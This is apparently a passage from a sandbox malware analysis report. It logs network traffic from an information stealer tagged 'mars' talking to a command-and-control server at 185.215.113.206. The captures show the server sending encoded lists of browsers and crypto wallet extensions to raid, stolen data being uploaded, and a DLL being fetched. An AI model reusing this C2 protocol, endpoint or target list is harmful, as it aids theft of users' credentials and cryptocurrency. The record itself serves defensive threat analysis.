Nov 24, 2024 00:08:41.434993029 CET	1.1.1.1	192.168.2.6	0xb013	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:08:41.435396910 CET	1.1.1.1	192.168.2.6	0xa0da	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 00:08:43.184019089 CET	1.1.1.1	192.168.2.6	0xec8	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:08:43.184107065 CET	1.1.1.1	192.168.2.6	0x6a40	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49720	185.215.113.206	80	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 00:06:18.295797110 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 00:06:19.744997025 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 00:06:19.750622988 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 31 35 37 30 37 32 41 39 37 37 44 34 32 30 36 39 38 32 38 33 37 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="hwid"0157072A977D4206982837------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="build"mars------FCAEBFIJKEBGHIDHIEGI--
Nov 24, 2024 00:06:20.217894077 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 6b 30 4d 47 59 35 4d 6d 46 6d 4f 54 6c 6b 5a 54 4d 32 4e 47 52 68 5a 6d 45 33 4d 6d 4d 78 4f 57 4d 32 59 7a 55 78 4e 6a 6b 32 4d 44 49 33 59 6d 59 79 4e 6a 45 35 4d 6d 59 35 4e 7a 42 68 5a 6d 46 68 5a 44 56 6c 5a 6a 4d 32 4d 32 55 31 59 57 4e 6b 5a 57 49 79 4d 54 4a 69 4d 6a 5a 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTk0MGY5MmFmOTlkZTM2NGRhZmE3MmMxOWM2YzUxNjk2MDI3YmYyNjE5MmY5NzBhZmFhZDVlZjM2M2U1YWNkZWIyMTJiMjZifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 24, 2024 00:06:20.227574110 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 2d 2d 0d 0a Data Ascii: ------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="message"browsers------BKJKJEHJJDAKECBFCGID--
Nov 24, 2024 00:06:20.685561895 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 24, 2024 00:06:20.685581923 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 24, 2024 00:06:20.686988115 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHID Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="message"plugins------ECGDAAFIIJDAAAAKFHID--
Nov 24, 2024 00:06:21.144208908 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 24, 2024 00:06:21.144234896 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 24, 2024 00:06:21.144391060 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 24, 2024 00:06:21.144411087 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 24, 2024 00:06:21.144433022 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 24, 2024 00:06:21.144453049 CET	1236	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Nov 24, 2024 00:06:21.153634071 CET	496	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
Nov 24, 2024 00:06:21.355773926 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Nov 24, 2024 00:06:21.357424974 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKJKKKJJJKJKFHJJJJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="message"fplugins------HJKJKKKJJJKJKFHJJJJE--
Nov 24, 2024 00:06:21.817681074 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 24, 2024 00:06:21.839256048 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.215.113.206 Content-Length: 6447 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 00:06:21.839287996 CET	6447	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 24, 2024 00:06:22.904505014 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 00:06:23.495434046 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 00:06:23.950202942 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 24, 2024 00:06:23.950259924 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49784	185.215.113.206	80	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
